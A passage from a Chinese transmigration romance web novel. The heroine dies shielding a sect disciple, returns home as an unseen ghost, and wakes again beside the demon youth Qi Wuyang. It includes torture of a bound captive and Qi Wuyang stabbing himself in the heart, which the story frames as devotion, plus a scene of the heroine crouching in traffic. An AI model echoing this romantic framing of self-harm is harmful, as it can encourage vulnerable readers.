它刚才跳上来的力道有些大,弄得她往后退了几步,等站稳时,才发现自己竟已经从结界中出来了。 她顿时又惊又喜,再低头一看,手心那道印记也淡去了一些。 “成了!” 徐颂禾勉强让自己冷静下来,伸手戳了戳那只茫然的狐狸∶“喂,你记不记得之前抓过一个人?你把他关在哪里了?” 她抬起它又要埋下去的脑袋,问道∶“那不问这个,你知不知道哪里有吃的?” 它主动从怀里跳下来,走在前面作势要给她带路。 空气里弥漫着草木的气息,徐颂禾张望四周,那狐狸便忽然停在了一间房屋前。 “是这里吗?” 徐颂禾正想推门进去,可手刚一碰到门板,背后蓦地传来几道风声,她还未及反应,便被狐狸推到一旁,一支箭矢“嗖”地射过来,径直插在了门扉上。 她浑身一僵,顿觉血液都凉了。 不清楚偷袭的有多少人,徐颂禾头也没敢回,推开门便要把狐狸一起抱进去,可t它却像一块果冻似的从她怀里溜走,等她反应过来时,那道身影早已遁入黑暗之中。 “哎,你去哪儿呀?” 她急得几乎忘记了思考,起身便要追出去,可手腕被人一拽,被拉回去的瞬间,那道门应声关住了。 “快放开我……” “姐姐,是我。” 徐颂禾一怔,揉了几下眼睛,不敢置信地看着面前的男孩,“阿生?!怎么会是你?” “姐姐别怕,那些坏人发现不了这里的。” 阿生对蛊术的操控不够熟练,所以她身上的蛊早已随着时间完全消散,但他此刻眯着眼睛笑,还是习惯性地喊她“姐姐”。 原来那时他被“名门正派”抓走,那些人费了许多功夫都没能得到他的傀儡术,最终恼羞成怒将他关了起来。此次流云宗召集各大门派前来围剿祁无恙,他便趁机乔装打扮,混在人群之中逃了出来,又阴差阳错地躲在这里,碰见了她。 毕竟吃过亏,面前这位还是个屠过村子的罪人,徐颂禾不觉往后退了退,咽了咽喉咙,小心翼翼地问∶“他们……来了多少人?” 话音方落,窗户忽然被映得通红,她警觉地看过去,瞬间倒吸了一口凉气。 只见屋外乌泱泱一大片人头,正举着火把,一时竟分不清白天黑夜了。 阿生回答道∶“一共来的差不多是外面这些的四五倍吧。” 四五倍?! 他们这是非要置他于死地不可吗? 徐颂禾颤抖着爬起身来,探出半个脑袋从窗外望去,视线焦急地在人群中搜寻着,却始终找不到它。 他现在还是狐狸的形态,恐怕连反抗的能力都没有,会不会已经被他们抓去了…… 她越想越怕,最后捂住嘴,鼻尖一酸,一颗眼泪就这样猝不及防地滑倒了手背上。 “姐姐,你怎么了?”阿生凑过来,看见她手背上的泪痕,只道她是被吓到了,便安慰道∶“姐姐别怕,他们的目标不是我们,不会伤害我们的。” 这话倒是提醒了她,徐颂禾收回呆滞的目光,脑中忽然闪过一个极其荒唐的念头。 他们要杀祁无恙,就只是为了夺取什么灵脉,此心已决,就算她去求卓子墨也是没有用的。但如果……如果她假意挟持卓子墨,要他们撤兵呢? 他现在应当还被关着,那她要挟持他,可就容易多了。 系统读取到她的内心所想,震惊得语无伦次∶“宿主,你是疯了吗?你这么做,无异于是将好不容易达成的好感度降回冰点!” “可我管不了那么多了,好感度没了还能再赚,但祁无恙就只有一个。” 她平复好呼吸,勉强露出一个笑,问道∶“阿生,你有没有见到过一个被关起来的人?” “姐姐说的,是个男人吗?” 她眼睛一亮,立马点了点头。 阿生想了想,说道∶“见过呀,姐姐跟紧我,等他们走远了,我就带你去找他。” * “宗、宗主,祁无恙就住在这,他身中诅咒,跑不远的!”周玄气喘吁吁地走在最前方,得意洋洋地说∶“趁这个机会,今日大伙一定能把他除掉,拿到灵脉!” 不料此言一出,方才还斗志满满的人们,声势一下就弱了下来,各人面面相觑,脸上神色各异。 谁都是冲着灵脉来的,既然如此,到手之后,这块香饽饽又该归谁?到那时,他们之间定也并免不了一场鏖战。 卓不凡看出众人眼下都各怀心思,清了清嗓,道∶“说的不错,灵脉被这妖孽占据多年,以至于生灵涂炭,民不聊生。你我此次一行,为的就是除去妖孽,将灵脉归还苍生,还天下太平。诸位说,卓某此言可有错?” 这话说得冠冕堂皇,人群中即便有不服者,此刻也只能跟着应和:“卓宗主所言极是!除魔卫道,归还灵脉,乃我等本分!” “正是!先诛妖孽,再论其他!” 卓不凡满意地点点头,目光锐利地扫视前方那片被火光和厮杀声笼罩的山林,忽然一顿∶“那有只狐狸!快抓住他,子墨说过,那妖孽重伤之时会变作狐狸形态,先将他活捉了来!” “是!” 话音刚落,人群里已有数道身影如离弦之箭般急射而出,朝着不远处林间扑去。可那狐狸来去匆匆,竟像在戏耍他们一般,数百人连他的影子也碰不着。 “抓住了,抓住了!” 蓦然传来的几声兴奋的大喊,令众人一齐止住动作,只见周玄一手揪住狐狸尾巴,高喊道∶“宗主快来,它挣扎得厉害,我就要握不住了!” 人人得而诛之的妖物此刻正牢牢地被束缚住,众人五一不露出狂喜的神色,一瞬间排山倒海般地涌上前。 卓不凡喜得脸色通红∶“周玄,好样的,我果然没……” 一语未完,那狐狸忽地一蹬前腿,在周玄脸上留下一道深深的划痕,随后在众目睽睽之下,跃过无数人头,纵身上了树顶。 它像完成了一场恶作剧,一双狐狸眼发着幽光,居高临下睥睨着树下躁动的人群。 “我们都被它给耍了!” “该死的畜生,居然敢戏弄老子,今天非扒了它的皮不可!” 众人手舞足蹈,有人举了火把狠狠向上抛,可那狐狸只懒洋洋地挂在树枝上,躲也不躲。玩够之后,他懒洋洋地伸了伸后腿,转身消失在人们视野中。 “嗡——” “怎么回事?为何突然出不去了?” 众人待要追去,却不知撞上了什么,一群人霎时间乱作一团。 卓不凡抬手一摸,脸色骤然煞白∶“是那祁无恙布下的结界。这妖孽要走便走,竟还要我们这么多人陪葬……” 此话一出,人群更加不安起来,还有人的话语中已带上了哭腔∶“这可怎么办?宗主,您可一定要想想办法啊,我……我还不想死!” 被他恳求的宗主也早已白了脸,死气沉沉地道∶“卓兄,大伙今日是看在你的面子上才来的,我年纪大了不要紧,但让这么多年轻弟子因你而死,你良心过得去吗?!” 卓不凡未料到事态竟会如此发展,脸色也是一沉,待要开口,脚下忽然一热,耳边霎时尖叫连连,等恢复寂静后,地上已多了数具死尸。 一人被吓得跌倒在地,颤抖着指着那些尸体∶“杀人了……这结界会杀人啊!” 说罢,他挣扎着想往外撞,喉咙却蓦地像是被扼住一般,整个脑袋被向后一掰,立时便栽倒在地,没了呼吸。 卓不凡见状勉力道∶“诸位切莫惊慌,我等聚集在此,定有法子能够破阵。” 实则他已经怕到双腿发颤,却仍要稳住脸色,听着耳旁的哭声∶“爹,爹,我也不想死……” 他黑着脸甩开手,怒道∶“没出息的东西!别人都没哭,贪生怕死的像什么话?!” 卓子寻松开手,又转身跪着拉住另一同样面色死灰的人,道∶“紫莲宗主,您一定有办法逃出去的,对不对?” 死亡如同一团密云,移不走驱不散,他们找不到出去的办法,也摸不清结界杀人的规律。有人哭干了泪水,嗓子也变得嘶哑,只能绝望地抱头等死。 “爹——” 便在此时,一道响亮的声线破空传来,众人便犹如看见了救命稻草般,脸上顿时有了色彩。 卓子墨伤势未愈,拖着一身破旧的衣衫,蹒跚地走来。 “哥,太好了,你还活着,”卓子寻第一个扑上去,哭喊道∶“你快……快想办法救我们出去,爹也快撑不住了!” 他望了一眼倒在弟子怀中,已然奄奄一息的卓不凡,心头怒气大增,抬手一挥,方才躲藏在草丛里的人便飞了出来。 “周玄?!”有人认出了他,惊道∶“你是如何出去的?” 卓子墨收紧五指,冷冷笑道∶“是他将你们困在此处,要出去还不容易吗?” 众人闻言,纷纷惊怒交加地看向摔倒在地的周玄,他脸色被掐得煞白,眼中却有得意之色∶“现在才认出我,未免也太晚了!你的好父亲,好弟弟,好朋友……都会死在我手里!” “你住口!” 卓子墨颤抖着手,灵力凝聚于掌心便要向他劈去,却见周玄骤然咧嘴一笑,指尖捏碎了一枚符篆。符篆炸开的瞬间,无数粉末扑向双眼,他不得不松开手,接连退了数步。 “宗门天才,那就给你一个不一样的死法。” 眼前恢复清晰后,卓子墨抬起头,只见那“周玄”已经恢复了扁平脸的模样,立在高处,周t身现出无数柄剑。 他一抬手,那些剑便聚拢起来,汇成一道强烈的剑光。 “记得这些剑吗?”扁平脸冷眼扫过众人,笑道∶“你不记得,你亲爱的父亲应当认得。当初他们做过的,现在都会回到你们身上!” 话音落地的刹那,那道凝聚了无数修为的剑刃骤然坠落,在卓子墨欲裂的目光下,径直朝他刺来。 “哥,快跑啊!!” 周身被剑光包围着,他跑不了,也不想跑——如果他们都因救他而死,那这般的下场也是他应得的。 卓子墨闭上眼,张开手臂,静候死亡的到来。 “小心!” 一声惊呼划破死寂,少女用尽力气推开他,自己却正好撞在那道下坠的剑光上。 她眼底是一片醒目的白,或许这就是死前的“走马灯”,眼前竟开始浮现出刚来到这个世界时的画面。 长剑穿透胸膛的剧痛猛地将她拉回现实,徐颂禾感到自己的身体就像一张纸,就这般轻飘飘落了下来。 四周都安静了下来,她缓缓阖上眼睛,落进一个怀抱里,似乎还有一只手轻轻替她擦去了唇边溢出来的血。 好疼…… 下次穿书,再也不要跟着这个系统了,这个不靠谱的家伙,怎么也不提前告诉她会这么疼? 脸上湿漉漉的,可能是被疼哭了吧。徐颂禾觉得丢脸,想把它擦掉,却抬不起手,随后立刻又有一滴水落了下来。 ……下雨了? 耳边好像有人在唤她,可她已经辨不清声音,也没有力气再睁开眼睛了。 “恭喜宿主,好感度已达百分之百,正在为您开启异世界通道。” 第65章 他可能会有一点伤心 四周归于死寂, 空灵的风送来树头鸟儿的哀鸣。结界里的人们仿佛被抽干了最后一丝念想,此刻正瘫坐在地,绝望地等待着死亡。 扁平脸负手立在高处, 面纱下的那张脸略显惊愕, 显然没料到竟会有人替卓子墨挡下这么一剑。 少年压抑着唇角近乎疯狂的笑意, 目光如淬了毒的利刃,似要将他抽筋剥皮,再一寸寸割下他的尸首。 幸而怀中少女意识消散前的呢喃似一条丝线般缠住了他, 令他一时无法分神, 扁平脸没敢再有多一分的停留, 抛下他精心布下的结界和其间将死的蝼蚁,转眼间便逃得无影无踪。 “阿禾, 阿禾……” 卓子墨方才被巨大的余威震开数尺远,身上伤痕撕裂, 他狼狈地跪在地上,抬目怔忪地望向满身是血, 气息已绝的少女。 顾不上此刻抱着她的是怎样一个可怖之人,他几乎是手脚并用地匍匐过去, 却在距她仅咫尺之遥时被击飞数米。 “祁无恙, 你给我住手!”他再一次爬起身来,怒视向抱着少女便欲离开的人,声嘶力竭∶“难道你能给她一个好归宿吗?把她还给我, 我要将她带回流云宗安葬……” 少年顿足, 一张毫无血色的脸上浮现出冷冷笑意∶“谁说她死了?” “你……” 卓子墨一怔, 暗道难不成他有办法救回阿禾,可转念一想,阿禾体质特殊, 连灵丹都没有,受了这样一剑,恐仙人来了也无力回天。他执意要带走阿禾,或许也是她的身体对他还有帮助。 阿禾是为救自己而死,思及此,哀愤一齐涌上心头,卓子墨尚未理智思考便已出手直取对方咽喉。 斜刺里蓦地冲出一道身影,他只觉手掌一痛,那狠厉的攻势便骤然被对方打断了。 “你不许伤害我姐姐!”阿生灵力不高,方才与那一掌硬碰硬,手心已被震出了血。他带着哭腔,踮起脚去看少年怀里的人,“姐姐,你怎么了?你快点睁眼看看我呀……” 祁无恙眉尖微微拢起,丝毫不愿让那只手碰到怀中的少女。他侧目朝阿生投去一个眼神,似笑非笑地道∶“是他伤了你的姐姐,你不想把他抓过来报仇么?” 阿生一愣,顺着祁无恙的目光望向形容狼狈、面如死灰的卓子墨,眼中闪过一丝愤恨∶“说的没错!就算我打不过你,也要在你身上种下傀儡术,让你整整一月都不好受!” “等等,住手!” 卓子墨刚一出声,那低矮的身影便猛地扑了过来,一排牙齿不由分说地咬在了他伤口上。 他皱起眉,咬牙切齿∶“不辨是非的蠢东西,快给我滚开——妖孽,把她给我放下!” “哥,哥……” 微弱的呼唤令他短暂分了神,回头一看,只见那结界没了扁平脸的操控,眼下已逐渐维持不住,极少数人幸存下来,却也已近乎被榨干了灵力。 然而也就是这一分神,他忽感头部一痛,倒下之前,模糊的视线中隐隐浮现出少女越来越远的身影。 祁无恙头也没回,身后的一切混乱都已与他无关。他低头看了眼怀里已无生气的少女,那只几个时辰前还在笨拙地抚摸狐狸耳朵的手心此刻正垂落在他身前,冰凉的温度刺得胸腔里的心脏生疼。 “听见了吗?他说要把你埋进土里,这就是你不要命也要护着的人。” 桌台上剩下的半截蜡烛摇摇晃晃,勉强照亮了半个屋子。他将少女放在床榻上,动作小心得像是怕惊扰了她的美梦。 祁无恙取来一块干净的手帕,沾水弄湿后,开始一点一点擦拭她脸上的血污。 烛火跳动,光影在她苍白的面容上明明灭灭。长而密的睫毛垂着,在眼下投出一小片安静的阴影,仿佛只是睡着了。 “我知道,你和我一样,讨厌暗无天日又污秽不堪的地方。所以你不用怕,我不会让他带走你。” 沾了温水的手帕擦过手臂,祁无恙垂下眸,目光落到那满是鲜血的衣服上,动作停了下来。 长久的沉默后,他俯身将人捞起来,让她依靠着肩膀坐下,随后闭上眼,替她换去了那一身染血的衣。 方才抱了她一路,他身上也已沾了不少血迹。祁无恙抬眸看着少女身上素白的衣衫,带着一丝倦意勾了勾唇角。 没关系,她干净了就好。 “睡吧,”他弯腰替她掖好被子,拂去了飘在脸上的一缕发丝,“你不是喜欢漂亮么?等天亮,我会让你变得漂亮。” 做完了这些,他本来该走的,可她胆子小,一个人留在这怕是会害怕得睡不着。 少年倚坐在床沿,听着窗外的风声,和他幻想出来的少女熟睡后的呼吸声。 等她醒来,他会告诉她,身上的血是他擦干净的,只有他才能被她喜欢。那些名门正派,都不过是披着人皮的魑魅魍魉。 * “恭喜宿主,攻略任务已顺利完成。回家之前,宿主还可任意许下一个愿望。” 徐颂禾一听这个声音就火大——哪里顺利了,她明明都快疼死了好吧? 后半句让她一下子清醒过来,忙忙碌碌一年多,还死了一次,许个什么愿望好呢? 徐颂禾斟酌许久,在决定好愿望之前,脑海里率先不由自主地浮现出了红衣少年的身影。 她微微一顿,没有想到自己临走之前又想到了他。 先前做了那么多假设,最后也还是没能带他一起走,甚至临死前都没能开口和他说上一句话。 所以……现在在他的世界里,她已经死了? 那他会难过吗? 徐颂禾发了好一会儿呆,想着脑子里突然冒出的这个问题。 可能好歹会伤心那么一小会吧,毕竟相处了那么久,而且看他的表现,多少应该是有点喜欢她的。 系统开始催促∶“请宿主尽快做出决定。” 如果是在以前,她可能会毫不犹豫地许愿让自己获得很多很多的钱,但是现在…… 她很快就能和家人朋友在一起了,可是祁无恙还是只有一个人,或许以后都不会有人陪他,就算被诅咒疼死也不会有人替他收尸。 徐颂禾深吸口气,说道∶“我想解除他身上的诅咒,可以吗?” 这样一来,他就再也不用受病痛折磨,等找回全部身体后,也不用再寄存在别人身体里了。 “愿望是自己的,宿主确定要把它许给别人吗?” “我确定。” 反正对她而言,也不会有任何的损失,只希望在她打开那本书时,能看到他有一个好的结局。 穿过漫长的隧道后,耳边是熟悉而久违的汽车鸣笛,空气中飘散着一股饭菜的香味。 她坐起身来,理了理凌乱的头发,抱怨道∶“怎么我穿过去的时候一睁眼就在那了,也没经过我的同意,现在穿回t来就变得这么慢了?” 环顾四周,好在一回来就坐在自己柔软的床上,许久以来的怨气霎时消散了不少。 “这么香,是爸爸妈妈在做饭吧?” 徐颂禾走出房间,一眼便看见厨房里两个忙碌的身影。 这一回不是幻觉,是真实的有温度的家人,就这样站在她的面前。 她吸了吸鼻子,憋住想哭的冲动,喊了一声∶“我回来啦!” 但那两道身影没有一点反应,她愣了下,以为是厨房声音太大,便走进去说道∶“妈妈,我来帮你。” 妈妈却转过身没理她,手中铁勺翻炒着锅里的菜,“她爸,女儿今天要回来了,你快去买点水果。” 男人笑嘻嘻应了一声,转身便要出门。 “哎,不用那么麻烦的……” 见叫不住他,徐颂禾本能地伸出手,想拉住爸爸的衣袖。手指却直直地穿了过去,如同拂过空气。 她猛地僵住,呆了几秒后,认定是自己刚穿回来,身体还不适应,于是又转身想去抱抱妈妈。 可还是和方才一样,她的手竟径直从女人身体里穿了过去,触碰到的只有一层空气。 徐颂禾猛地收回手,像是被烫到一般,难以置信地看着自己半透明的手指。她又尝试着去碰触灶台上的锅铲,指尖依旧毫无阻碍地穿透了过去。 “系、系统,这是怎么回事啊?” 系统说道∶“宿主在原世界已经身死,书中世界又死了一次,所以现在是以灵魂状态回来的,他们都看不见,也碰不到你。” 她声音有些哆嗦∶“那我要多久才能恢复?” “恢复不了,除非有人能让宿主死而复生。” “……” 她快崩溃了。 自己现在就站在妈妈面前,可无论怎么呼喊,对方都看不见她。 “你不是说,可以让我回家了吗?”强忍许久的眼泪掉了下来,徐颂禾朝着那个不存在的系统哭喊道∶“为什么骗我?好感度明明已经达到了,为什么不让我回家?” “请宿主保持冷静,”系统此刻说的简直不像人话,“系统不会欺骗,宿主现在的确已经回到现实世界。只不过现在的‘家’对你而言,已经是一个无法触碰的背景了。” “所以你的意思是,我要永远以这种方式待在这里,那和不存在有什么区别?” 不靠谱的系统说的话一定也是假的,徐颂禾跑到屋外,刺眼的阳光落在身上,显得更加透明,仿佛随时会随着风消散。 她不相信这家伙的话,自己付出了那么多,总不能白疼了吧?她游走在大街上,看着川流不息的车辆,突然生出一个荒唐的想法。 也许只有这样才能证明自己的存在。 但出于对可能会再次死亡的恐惧,她最终选择了一段车流量小的地带,随后蹲在地上,紧紧闭上了眼睛。 如果司机看得见,起码会有人骂她两句神经病吧!可是现在,路边的行人匆匆走过,甚至没有人朝她投来一个眼神。 比真的被车撞了还要难受。 莫大的悲伤笼罩了她,她不知道该怎么办了,只能茫然无措地呆在原地,终于开始思考要怎么以这样的形态过下去。 摸不到就摸不到吧,起码她还能看见爸爸妈妈。 可是,如果他们知道自己死了,该会有多难过? 徐颂禾甚至已经想象到那时的画面了,父母因为自己的死难过痛苦,而她却只能站在一旁,什么也做不了。 还是先离开这里吧,她开始后悔刚才的行为了,上辈子就是让车撞死的,现在看着来往的车辆,一阵莫名的恐惧从心头升了起来。 她撑着膝盖,刚想站起身,猛然间一声刺耳的鸣笛打断了她的动作。 徐颂禾顿住,僵硬地转过头,只见一辆大卡车蓦地从巷子里冲出,以极快的速度朝她驶来。 她闭上眼,疯狂安慰自己∶“不怕不怕,反正它撞不到我……” 腰身忽然一紧,一个冰凉的怀抱围拢了她。 徐颂禾掀开眼皮,大卡车就那么停在了不远处,没有再向她靠近。 “不要害怕。” 挂在脸上的泪水还未干,她怔怔地抬头,望向搂紧她的少年。 他的眼睛里,好像也有眼泪。 第66章 轻轻在她额头上印下一吻 窗纸透不进一点天光, 桌台上的半截蜡烛昨夜已经燃尽,只余下一摊形状扭曲的泪痕。 少年倚坐在床沿,目无波澜地望着天上的月亮, 淡淡的月光几乎淹没在他漆黑的眼瞳里。 “祁无恙, 你身上怎么这么暗呀?我都快看不见你了。” 少女清脆的声音突兀地打破了满室的死寂。 他目光动了动, 缓缓转向她,眼底浮现出一丝隐秘的雀跃。 屋门敞开着,她被呼呼吹进来的风冷得哆嗦了一下, 随后裹紧衣衫走上前来, 在床边站定后, 视线肆无忌惮地上下打量着他。 “我送你的灯笼呢?为什么不用?” 声音听上去颇为不满。 祁无恙将手一抬,那盏藤枝编织的便倏地亮起, 光芒倾泻在他的红衣之上,宛如无数扑朔的萤火虫。 “在这。” 他将亮起的灯笼微微举高, 照亮了她近在咫尺的脸。 莹莹光芒里,她似乎愣了一下, 盯着那重新亮起的灯笼看了好一会儿。 “不行,还是不够亮, ”徐颂禾摇摇头, 语气里带着一种孩子气的固执,“我去做个更大更亮的。” 祁无恙微微一怔,几乎是在她转身的刹那伸出手∶“不用了……” 她在这里, 一切就已经足够明亮了。 可话音未落, 他虚拦在她身前的手指, 径直从袖口穿了过去,指尖唯留下一股毫无阻滞的空落感。 灯笼温暖的光晕里,少女身影如同水中被搅动的倒影, 开始无声地涣散。 他举着灯笼的手一僵,眼底的光亮骤然被一种近乎恐慌的茫然取代。 “等……” 话未出口,身体已经先于意识做出了反应。他跌撞地起身,仓皇地向前伸出手,试图拢住那正在消散的光影。 “阿禾……” 他指尖徒劳地合拢,却只握住了一缕冰凉的风,一如那一夜,他只能眼睁睁看着少女的身体在怀中逐渐失去温度,像一捧握不住的流沙。 从未有过这般狼狈,他甚至顾不上稳住踉跄的身形,像是溺水者抓住最后一根稻草,用尽全身力气扑向那片正在消逝的光,手臂穿过的却只有一片稀薄的空气。 晨光在眼前升起,驱散了周身僵硬的死寂。 少年缓缓抬起一双遍布血丝的眼,望向榻上那具被他小心整理过的身躯。她此刻正安安静静躺着,不会再试图从他身边逃离,也不会再同他拌嘴。 七天,他没有一夜不梦见她。 却从没能触碰过她。 他开始怨恨自己,为何要如此贪心,能再多看她一眼已是奢侈的妄想,偏生他自己要打碎这场美梦。 祁无恙微微俯身,抱起榻上的少女,动作轻缓地为她抹上胭脂膏粉。 手指颤抖着,不慎一歪,那口脂便在少女唇边划开了一道突兀的红痕。 他猛地一顿,眼神有一瞬的挫败,语气软下来∶“抱歉,我不太会,你能起来教教我吗?” 话音落下,满室只有晨风吹过窗棂的细微呜咽。 少年沉默地凝视着她,耐心地等待着一个永远不会到来的回应。 记忆一点一点涌上心头,悔恨和愧疚犹如毒藤般将他死死缠绕。 如果能回到最初,在她不管不顾地贴上来喊他“夫君”时,他就应该答应她。 那时他厌恶这个世界,它夺走了他的一切,让他只能孤零零捱过这许多年。可她又给了他一切,他所感受过的所有温暖,所有喜怒哀乐,全都来自于她。 可是连她也不在了…… 他不愿再在这里待下去了,每多一秒,她被利剑贯穿身体的便会再脑中重演千万遍,他的心脏仿佛也早已跟着她,一起葬在了那一夜。 他失魂落魄地夺门而出,迎面又撞见了那个小矮子。 阿生一看见他,便哭唧唧地跑上前来,说道∶“你是和姐姐一起的,你也很想她吧?我把那个坏人抓起来了,就在那边。我们快去替姐姐报仇吧。” 他说罢,停顿了一下又道∶“我本来想早点告诉你的,可是你待在里面七天都没出过门,我还以为你也……” “知道了。” 祁无恙声音里透着掩饰不住的倦意,他越过阿生,朝着柴房的方向走去,淡淡扔下一句∶“别跟过来。” 柴房里一片沉寂,男人被吊着双手,粗绳几乎嵌进皮t肤里。他低垂着头,面色一片死灰,双目紧闭着,若非胸膛起伏的弧度,真要让人以为他已经死了。 “祁无恙,你要对我们做什么?”卓子寻被牢牢缚住双手扔在角落,几日来他唯一的食物就只有清水和冷馒头,此刻声音嘶哑,却仍挣扎着昂起头瞪向来人,“趁人之危罢了,你有胆子和我兄长光明正大地决斗吗?” 祁无恙看都没看他一眼,原本懒得动手,但又嫌他聒噪,便随意抬手将稻草堵住了他的嘴。 卓子寻瞬间被噤了声,只能不甘地从喉咙里发出一些呜呜咽咽的声音。 “是我连累的阿禾,你若有怨气,便冲我来,”被绑着的人手指蜷缩了一下,抬起沉重的脑袋,声音低沉∶“但这一切与我父亲和弟弟无关,还请你饶他们一命。” 那日扁平脸落荒而逃后,法阵不消多时便维持不住了,只是被困其中的人也已死的死伤的伤,幸存下来的寥寥无几。卓氏父子还不自量力地妄想着反抗,他本无心再与这些人纠缠,却没想到他们自己撞了上来。 “他们无辜吗?” 少年朝角落的两人投去淡淡一瞥,随后在对方充满恐惧的眼神下笑了笑∶“你不是喜欢她吗?拜你父亲所赐,她身上受过多少次伤,你难道不清楚么?” 卓子墨瞳孔猛地一震,虎口一阵疼痛,他不知眼下还能说些什么来求他放过他们。 阿禾为救他而死,他自然也没什么活下去的必要,只是不能再牵连无辜之人,何况他们还是为他而来的。 “你要杀要剐,我都认了,”卓子墨闭上眼,长长地吁了口气,叹道∶“阿禾的死……我也没能料到,你尽早杀了我吧,她一个人在黄泉之下一定孤单得很,来世我定会护好她……” “护好她?” 少年冷冷抬眸,嗤笑一声∶“真到了黄泉之下,你以为她会等你?” 他还真是自信,明明没做过什么为她好的事,甚至她被刁难时都不能挺身而出,现在却能冠冕堂皇地要与她来世再见。 “是你害的她,既然这样,你也死一次试试吧。” 祁无恙袖中不知何时多出一柄刀刃,话音落下的瞬间,已径直刺入他右胸口,却避开了心脏的位置。 鲜血霎时喷涌而出,卓子墨唇色褪去,闷哼了一声,额上顿时青筋暴起。 少年缓缓转动刀柄,眼含笑意地端详着他∶“你说,她那时候,会比这更痛吗?” 对方胸膛剧烈起伏着,依然说不出话,每一次呼吸都扯动伤口,带来钻心的剧痛和更多的血液流失。 祁无恙松开手,拔出了那把沾满血的刀。 “她很好,”临走前,他像是突然想起了什么,回过身来,冷眼看着奄奄一息的人,刀尖上对准了角落里的人,“往后再别让我听到‘死’这个字,说一次,我便剐他一刀。” 走出柴房,他还得感谢那个废物,让他明了了再见到阿禾的办法。 他半跪在床榻前,取出那柄短刀,反复擦净了上面肮脏的血迹,微微仰头,朝着榻上的少女凝视许久。 “你很疼吧?” 他笑了一笑,面不改色地将那把刀狠狠刺进心口,刀柄抵在胸前,刀尖几乎穿透了他的身体。 几日以来滴水未进,眼下这一刀力道丝毫未减,反倒刺得他死气沉沉的心又活了过来。 “是不是比这还要疼?” 开口的刹那,鲜血抑制不住地从唇角溢了出来。 她没有灵丹在身,卧倒在他怀里时,连一句话都未能说出口,便被疼得昏死了过去。而他自认为无所不能,竟在她失去生命的那几秒钟里那般束手无策,什么也阻止不了。 她那么怕死,他为什么没能让她活下来? 这个念头击溃了他所剩无几的理智,他从未像现在这般痛恨过自己。 少年抬指,将鲜血涂抹到唇上,随后低下头,轻轻在她额头上印下一吻。 鲜血仍不断从伤口涌出,那袭红衣上,沾染过的少女的鲜血早已凝固,眼下和他的血交织在一起,又重新流动了起来。 她没有死,她明明一直和他在一起。 他们会永远在一起。 * 时间过去大半天,徐颂禾百无聊赖地在街上闲逛着,有时候突然觉得,以灵魂的形态生活也没什么不好。 起码没有管她,也不用再去什么破实习公司当牛马了,还能每天陪陪父母。 只是…… 半天的时间里,她每一次看见大街上路过的卡车,都会想,唯一一个看得见她,抱住她的少年到底是不是幻觉。 他这时候在干什么呢? 她记得系统说过,现实世界里的时间流速和小说里的大概是一比十,掐指一算,现在过去了也大概有七天了,他怎么说应该也快要找回身体了吧? 不知道他发现诅咒失效后,会是什么表情。 她在床上翻滚了一下,望着窗外逐渐暗沉的天,心道幸好系统多少还没到泯灭良心的地步,起码还能让她碰到家里的床。 困意逐渐袭来,她打了个呵欠,睡着之前还在祈祷,系统说的都是假话,第二天醒来就能发现一切都已经恢复正常了。 然而也的确恢复了“正常”,因为在她掀开眼皮之前,习惯性地一伸懒腰,手却蓦地碰到了一个坚硬冰冷的东西。 ……除了床之外,她还能碰到别的东西了? 是不是真的恢复了?! 徐颂禾心跳骤然加快,她兴奋地睁开眼,想立马跑去给妈妈一个大大的拥抱。 但谁能告诉她,她现在这是在哪? 入目是一片醒目的红,这布置,让她一下子就想到了和卓子墨大婚时,婚房里的场景。 这是做梦了吗?她掐了自己一把,有些迷惘地望着四周。 “系统,我这是在哪啊?不会还有什么隐藏任务吧?” “系统也不知道,”系统的声音隐隐带着高兴,提醒她∶“不过宿主可以看看自己的身体有没有什么变化。” 经它这一提醒,徐颂禾低下头,不觉被自己看过无数次的双手晃了一下神。 她的身体,好像已经不是透明状态了。 真的不是在做梦吗? 这地方怎么和祁无恙带她去过的那么像呢?可她现在明明已经不在小说里了啊…… 难道是日有所思夜有所梦,所以他现在进入到她的梦里来了? 第67章 “你还喜欢他吗?”…… “你醒了。” 正疑惑是不是又穿到了哪本书里, 耳边蓦地响起一个熟悉的声音,徐颂禾动作僵了一瞬,随后愣愣地转过头, 望向半跪在床沿的少年。 他就那么平静地看着自己, 淡淡开口, 仿佛在叙说一件平常不过的事,她都差点以为自己只是出了趟门,根本没回过家了。 但这是怎么回事?她为什么还会回来?按系统的话说, 这具身体不是已经死了, 她不是应该只剩一缕灵魂了吗? 恐怕答案只有面前这个人知道了。 徐颂禾犹豫许久, 她穿回去大半天,换算过来这里也差不多过去半个月了, 刚见面就问这些好像不太好。 那该说什么呢? 酝酿半晌后,她迎着少年直勾勾的目光, 小心翼翼地抬起了被褥下的手∶“嗯……你好?” 祁无恙的视线跟随那只手摆动的幅度动了动,眉尖微微蹙起, 旋即用平常的语气问道∶“饿了吗?” 他的脸色看上去很苍白,像是刚流了很多血, 现在被风一吹就能倒下。 徐颂禾没有回答, 她斟酌了一下言辞,随后试探着问∶“我不是已经死了吗?” 少年眸光黯了黯,屋内的空气似乎都凝固住了。 察觉到他的微妙变化, 徐颂禾识趣地绕开了这个话题∶“好吧好吧, 那我不说了。不过你可不可以不要一直盯着我看呀?你这样, 我都有点不习惯了。” 从她睁开眼就发现这人莫名其妙一直盯着自己,明明脸上又没东西……重要的是,他不知道从哪弄来的这身衣服, 腰身处勒得她呼吸都有些困难,他一直看过来,她都没法解衣。 可他偏了偏头,目光依旧一瞬不瞬地停留在她身上,丝毫没有要移开的意思。 “我又不会跑了,你……” 未待她说完,少年忽地倾身压过来,头近乎埋到她颈间,手指无比自然地绕到t她身后,轻轻一勾,替她解开了系在腰侧的结。 “你你……你干嘛啊?” 她脸上腾地一热,连话都说不利索了。 几日不见,他是被什么东西给夺舍了吗?以前顶多锁着门不让她跑,哪里会像现在这样…… 她按着肩膀推开他,可刚一做出要往后缩的动作,对方便立刻探出手,扣住她手腕将她拉了回来。 在每一次的梦里,她都是这般离开的,也不回头看他一看。 他真的承受不住那样的痛苦,再让她在眼前消失一次,他不知道自己会做出什么事来。 腰间的结被解开了,外衫此刻正不受控制地一点一点往下滑,他掌心冰凉的温度透过那层仅剩的里衣,冻得她禁不住哆嗦了一下。 察觉到她的反应,祁无恙松开手,拾起垂落下去的衣衫便要为她披上。 “我……我自己来,”徐颂禾紧紧攥住衣襟,磕磕巴巴地说∶“你、你先松手。” 她低下头去,慌乱地想把衣带重新系好,奈何手指抖得厉害,最后只得妥协地在上面系了个歪歪斜斜的结。 她觉得自己现在的脸一定比苹果还红。 “你不喜欢这样吗?” 少年忽然开口,长长的眼睫下是掩盖不住的落寞∶“可我只是……” 只是什么? 他又不说了。 